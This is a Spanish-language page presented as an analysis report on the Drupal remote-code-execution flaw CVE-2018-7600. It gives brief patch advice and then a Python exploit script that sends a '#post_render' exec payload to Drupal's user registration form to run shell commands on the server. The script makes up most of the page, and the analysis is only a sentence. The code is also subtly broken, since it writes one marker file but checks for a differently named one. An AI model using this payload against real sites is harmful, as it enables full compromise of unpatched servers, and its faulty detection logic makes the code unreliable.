Informe de análisis de Drupal RCE de IGLOO Corp, Won Chi Hyun

Drupal RCE CVE-2018-7600

¡No olvides poner tu dirección en el script!

Descripción: Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un sitio Drupal, lo que podría resultar en que el sitio se vea completamente comprometido.

Solución: Actualice a la versión más reciente del núcleo de Drupal 7 u 8.

Si está ejecutando 7.x, actualice a Drupal 7.58. (Si no puede actualizar de inmediato, puede intentar aplicar este parche para corregir la vulnerabilidad hasta que pueda actualizar por completo). Si está ejecutando 8.5.x, actualice a Drupal 8.5.1. (Si no puede actualizar de inmediato, puede intentar aplicar este parche para corregir la vulnerabilidad hasta que pueda actualizar por completo).

#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL                                            |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"| 
|CODED BY > R3DXPLOIT(JIMMY)                                          | |
|EMAIL > [email protected]                                   | |
|GITHUB > https://github.com/r3dxpl0it                                | |
|WEB-PAGE > https://r3dxpl0it.Github.io                               |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests

def exploit(target):
    pass
    proxies = {}
    verify = False

    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
    url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
    print ( '[*]' + ' requesting post')
    r = requests.post(url, proxies=proxies, data=payload, verify=verify)
    try:
        scan = requests.get(target + 'vulnerable.txt')
        if scan.status_code != 200:
           print ( ' not vulnerable to cve-2018-7600 exploit \n')
        if scan.status_code == 200:
           print (' vulnerable to cve-2018-7600 exploit')
           print (' url: ' + target + 'vulnerable.txt \n')
    except requests.ConnectionError:
        print (' target connection timeout')
    except Exception as e :
        print ('Connction Failed ' + e )
				

if __name__ == '__main__':
   exploit(sys.argv[1])

Análisis del código.

main -> exploit argv[1] - argumento de destino scan. status_code: se obtiene el resultado según el valor de estado del código. Manejo de excepciones de eventos.

CVE-2018-7600.

Más Populares

Informe de análisis de Drupal RCE de IGLOO Corp, Won Chi Hyun